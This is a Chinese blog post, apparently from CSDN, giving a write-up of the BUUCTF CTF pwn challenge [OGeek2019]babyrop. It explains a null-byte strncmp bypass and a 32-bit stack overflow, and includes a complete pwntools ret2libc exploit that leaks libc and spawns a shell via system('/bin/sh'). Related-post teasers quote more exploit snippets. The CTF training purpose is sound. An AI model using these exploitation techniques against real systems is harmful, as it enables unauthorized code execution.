关于buuctf[OGeek2019]babyrop 1的一些些小结

buuctf刷题——[OGeek2019]babyrop 1 好久好久没做ctf题了,今天得空刷刷buuctf,emm,发现好多都忘了。???????????? 查看权限 不能利用shellcode,但可以构造栈溢出。 查看源程序 为了方便区分,重命名了下函数。 open函数的返回值:如果操作成功,它将返回一个文件描述符,如果操作失败,它将返回-1; 文件描述符:0,1,2是标准IO输入/输出/错误输出给占用了,当文件open成功了,会返回数值3; read(fd,&buf,4u)是把fd所指向的随机数写入到buf文件中,长度是4个字节。 此时,buf是 阅读详情

首先对于题目分析:

正常的32位小端序,checksec一下发现开了NX…………算了直接进正题。1.open函数的返回值,如果执行成功,他将返回一个文件描述,如果失败,他将返回-1.这里显然是成功了
2.文件描述符:0,1,2:是标准I/O输入、输出、错误。这里open执行成功了会返回3。
3.此时read(fd,&buf,4u)的意思是把fd指向的那个随机数输入buf中。
在这里插入图片描述
这里需要注意的是:strcmp函数可用“\x00”来截断,进而覆盖下面的v5变量,随后让
在这里插入图片描述
第二个read函数读入的“a1”足够覆盖栈,构造ROP。

EXP:

```python
from os import system
from pwn import*
from LibcSearcher import*
#context.log_level='debug'
p=remote('node4.buuoj.cn',27422)
elf= ELF('./pwn')
write_plt = elf.plt['write']
write_got = elf.got['write']
payload1 = '\x00' + '\xff'*7
p.sendline(payload1)
p.recv()#这里尤其需要注意,当发送第一行字符时,程序本身会输出一次需要先接受了。
paylaod2 = 'a'*(0xe7+4) +p32(write_plt) +p32(0x8048825) +p32(1) +p32(write_got)+p32(8)
p.sendline(paylaod2)
write_addr_ = u32(p.recv(4))
libc = ELF('./libc-2.23.so')
base_ = write_addr_ - libc.symbols['write']
system_ = base_ + libc.symbols['system']
binsh = base_ + libc.search('/bin/sh').next()
p.sendline(payload1)
p.recv()
paylaod = 'a'*0xeb + p32(system_)*2 + p32(binsh)
p.sendline(paylaod)
p.interactive()

这是对于LibcSearcher的一种使用方法,因为BUU上面给出了使用的libc库版本,另一种法子参照这位师傅的wp:LibcSearcher另一种解法

[OGeek2019]babyrop 题目Ubuntu16,libc2.23 Checksec一下,32位程序 Read很明显的溢出,但之前存在两个检查,strlen()在读入/x00后就会截断,同样我们给a1传入/xff来溢出buff(0xe7)。 Offest=0xe7+0x4 程序中没有puts函数但存在write和read函数也能达到相同作用泄露libc基址寻找我们要用的system函数和bin_sh字段。 构造rop链: p32(write_plt)+p32(main_addr)+p32(1)+p3 阅读详情

相关推荐

BUUCTF--[OGeek2019]babyrop

才学习了基本的ROP流程,到处找题练,不过也没做出来几道题,以这道32位的题作为例题吧。 这道题是BUUCTF上pwn练习题里的[OGeek2019]babyrop。 代码审计 老规矩先checksec一下: 没有canary保护,nx保护开启排除shellcode可能性,FULL RELEO为地址随机化。 观察主函数,先设定了一个闹铃,到时间就会强制退出程序,解除闹铃的方法在上一篇博客中提到过了, 这道题中闹铃函数依然对我们解题起不到什么干扰作用。 主函数的思路大概是:生成一个随机数,把这个随机数作为

N1rvana的博客 6007

BUUCTF [OGeek2019]babyrop

不知道为什么远程进不去,后来选择了不用LibcSearcher,用题目提供的Libc进去了。分析完反汇编成C语言的程序源码后,就是常规的ret2libc了。由于本题是32位ELF,因此不需要rdi与ret栈对齐。思路有了,接下来是构造PoC与Payload。strlen 遇到 \x00会截断。使用puts函数进行泄露真实地址。成功本地获取shell。首先绕过 strlen。

红叶的博客 1121

buuctf-[OGeek2019]babyrop

查看主函数 int __cdecl main() { int buf; // [esp+4h] [ebp-14h] char v2; // [esp+Bh] [ebp-Dh] int fd; // [esp+Ch] [ebp-Ch] sub_80486BB(); fd = open("/dev/urandom", 0); if ( fd > 0 ) read...

weixin_44864859的博客 2538

BUUCTF|PWN-[OGeek2019]babyrop1-WP

1.检查保护机制 (1)该文件是32位文件 (2)开启堆栈不可执行 2.用32位IDA打开该文件

l2645470582_的博客 2603

BUUCTF--[OGeek2019]babyrop:从随机数绕过到ROP链构造实战解析

本文详细解析了BUUCTF平台上的经典栈溢出题目[OGeek2019]babyrop。通过分析程序逻辑,文章首先介绍了如何利用空字节绕过随机数校验,并利用扩展ASCII码解锁栈溢出条件。随后,重点讲解了在32位环境下构造ROP链、泄露libc地址以及最终获取shell的完整实战流程,为初学者提供了清晰的ROP漏洞利用思路。

weixin_29323049的博客 204

BUUCTF pwn题exp整合

0x01 rip from pwn import* p = remote('node3.buuoj.cn',27511) payload = 'a'*23+p64(0x401198)+p64(0x401186) p.sendline(payload) p.interactive()   0x02 warmup_csaw_2016 from pwn import * #p = proces...

菜的只能随便写写博客 809

[BUUCTF-OGeek2019]babyrop详解(包含思考过程)

[BUUCTF-OGeek2019]babyrop详解(包含思考过程)

2301_76794844的博客 1402

SSE消息推送避坑指南:从Chrome兼容性到Spring超时配置

本文深入探讨了在Java Spring Boot项目中实现SSE消息推送时,从浏览器兼容性到后端配置的完整避坑指南。针对Chrome并发连接限制、Safari自动断开、Nginx代理缓冲以及Spring SseEmitter内存泄漏与超时管理等生产环境常见问题,提供了具体的解决方案和最佳实践配置,帮助开发者构建稳定可靠的实时推送系统。

work3的博客 449

BUUCTF [OGeek2019]babyrop wp

本文是基于BUUCTF平台[OGeek2019]babyrop一题的题解。

AEJL叁的博客,欢迎关注! 1767

【Unity报错】Unity导入海康SDK 报错 DllNotFoundException: PlayCtrl assembly

2.尝试按网上其他的办法(包括使用depengs查看dll依赖等)1.先检查Plugins文件夹中是否存在PlayCtrl文件。3.如果网上查阅的办法都不能解决,请继续往下看。更换低版本的SDK库文件。

weixin_42968584的博客 1126

深入剖析STM32F103 I2C总线死锁问题及高效应对策略

本文深入剖析了STM32F103硬件I2C总线在轮询模式下发生死锁的根本原因,即硬件状态机的预取机制与软件响应速度不匹配。文章提供了高效的解决方案,包括在轮询模式下提前发送NACK/STOP信号、降低总线速度,以及治本的中断与DMA应用策略,帮助开发者根据项目需求选择最合适的方案,彻底解决这一经典硬件缺陷问题。

weixin_29184371的博客 206

[BUUCTF]PWN7——[OGeek2019]babyrop

[BUUCTF]PWN7——[OGeek2019]babyrop 题目网址:https://buuoj.cn/challenges#[OGeek2019]babyrop 步骤: 例行检查,32位,开启了RELRO(对got表不可以写)和NX(堆栈不可执行) nc的时候没有什么回显,用32位ida打开附件,shift+f12查看程序里的字符串,没有发现system和/bin/sh 从main函数开始看程序 用户输入一个字符串给buf,然后跟随机数比较大小,strncmp里的比较长度的参数v1是我们输入

mcmuyanga的博客 1837

用PyTorch和snnTorch库5分钟搞定一个脉冲神经网络(SNN)手写数字识别Demo

本文详细介绍了如何使用PyTorch和snnTorch库快速搭建一个脉冲神经网络(SNN)手写数字识别Demo。通过模拟生物神经元的脉冲发放机制,SNN在低功耗场景中展现出独特优势。文章涵盖环境配置、数据预处理、模型构建、训练评估全流程,并提供了性能优化技巧和常见问题解决方案,帮助开发者在5分钟内实现高效的SNN应用。

weixin_29300931的博客 392

[BUUCTF-pwn]——[OGeek2019]babyrop

[BUUCTF-pwn]——[OGeek2019]babyrop 题目地址:https://buuoj.cn/challenges#[OGeek2019]babyrop 题目: 话不多说,先checksec一下,开启了NX保护,但是没开启地址随机化。 在IDA中看看,三个函数挨个点开看看 第一个,啥用没有。我也不知道写这个函数是干嘛,可能学的还是太少。 第二个函数,发现了栈溢出的敏感函数read。但是里面有个判断,里面函数返回值必须为0,否则直接终止程序。通过了解strncmp函数的性质。只要v1

Y_peak的博客 448

【QML初学者文档】一问读懂QML基础开发(内附大量简单源码)

QML是Qt的一大特色,拥有强大的UI制作能力。但是想要学好QML,还需要一些细节和技巧的掌握。本篇文章将为你提供完整的QML知识体系,让你成为Qt的UI魔法师!

BenBierBa的博客 2万+

最新版Node.js下载安装及环境配置教程(非常详细)

选择对应你系统的Node.js版本。

DN金猿的博客 12万+

BUUCTF PWN OGeek2019 babyrop

1.checksec+运行 32位/ NX保护开启/ 还有Full RELRO 2.IDA进行中

Rt1Text的博客 570

SDIO_WiFi驱动学习之安卓WLAN架构介绍及调用流程分析

一、引言 上一篇博客大概介绍了MMC子系统和SDIO相关知识及架构,这一篇博客则大致分析安卓的WLAN架构及上层如何调用WLAN驱动的流程。 虽然我工作的开发环境是安卓系统,但由于我不是专业的安卓应用/框架开发工程师,所以对安卓层的一些代码并不是特别熟悉,只能大致梳理流程,不专业的地方请谅解。 本文部分内容摘抄自网络,若有侵权,请联系删除。 二、安卓WLAN架构 1、应用框架(Application framework) 在应用程序框架级别是应用程序代码,它使用各种android.net..

陈子陌的博客 5088

CTF buuoj pwn-----第8题:[OGeek2019]babyrop

CTF buuoj pwn-----第8题:[OGeek2019]babyrop前言1. checksec2. 解题思路2.1 函数分析2.2 栈帧分析3. 编写EXP4. 运行EXP,获取flag 前言 梳理记录一下这道题的解题过程. 1. checksec bing@bing-virtual-machine:~/pwn$ checksec babyrop [*] '/home/bing/pwn/babyrop' Arch: i386-32-little RELRO: F

bing_Max的博客 757

芒果YOLO11改进17:即插即用 | 损失函数Repulsion Loss|Repulsion 解决目标遮挡场景下的目标检测,为解决密集人群检测中遮挡设计的损失函数,打造高效

即插即用 | 损失函数Repulsion Loss|Repulsion 解决目标遮挡场景下的目标检测,为解决密集人群检测中遮挡设计的损失函数,打造高效

包括YOLOv5、YOLOv7、YOLOv8等模型改进 484

lwip-2.0.3

lwip是瑞典计算机科学院(SICS)的Adam Dunkels 开发的一个小型开源的TCP/IP协议栈。实现的重点是在保持TCP协议主要功能的基础上减少对RAM 的占用。

BUUCTF pwn——[OGeek2019]babyrop

BUUCTF 做题练习

CNS-Enterprise BCC-1701-J 423

Outlook Express 6 (OE6) for Win7/Win8/Win10

英文版 Outlook Express6.0, 兼容Win7/Win10/WinXP,解压就可用。

buuctf-pwn [OGeek2019]babyrop题解(学习过程持续更新)

本文是一篇关于二进制漏洞利用的自学笔记,主要分析了一个32位程序的保护机制和漏洞利用过程。作者通过逆向分析发现程序存在随机数验证和缓冲区溢出漏洞:首先利用空字符绕过strncmp验证,然后通过构造特定输入参数触发栈溢出。攻击过程分为三个阶段:1)发送特殊payload绕过验证;2)泄露libc地址;3)构造system("/bin/sh")获取shell。由于LibcSearcher无法匹配正确的库版本,作者通过系统版本推测使用了Ubuntu 16.04的libc-2.23库,最终成功获取shell

2501_93570847的博客 436

RU DOS版、EFI版32bit/64bit BIOS常用工具

DOS版、EFI版的RU工具,可用来查看IO、MEM、PCI、SMBIOS等资源。亲测在EFI SHELL下可用。

buuctf pwn [OGeek2019]babyrop_wp

网上很多wp已经不适用了,所以来更新一波XD。

HeyGap的博客 608

[OGeek2019]babyrop[BUUCTF]

首先我们要确保strncmp=0保证程序不退出,直接让v1=0strncmp就会为0strncmp用来获取长度当读到"\0"会自动赋0所以我们让buf[0]="\x00"没有/bin/sh和system加上题目这道题的思路就是利用write泄露出libc的地址来进行ROP。buf长度只需0xe7+4就可以溢出。32位开了NX,地址随机化基本排除shellcode的可能。write也是libc库中的标准函数。shift+f12看字符串。

moonlightsunshin的博客 531

[OGeek2019]babyrop【BUUCTF】

[OGeek2019]babyrop【BUUCTF】

qq_41696518的博客 397
上一篇: 对buuctf的ciscn_2019_c_1wp的简单收获
下一篇: 关于BUUCTF 之bjdctf_2020_babyrop的wp的最实在解释
Hvf0x
博客等级 码龄7年 10粉丝 33原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值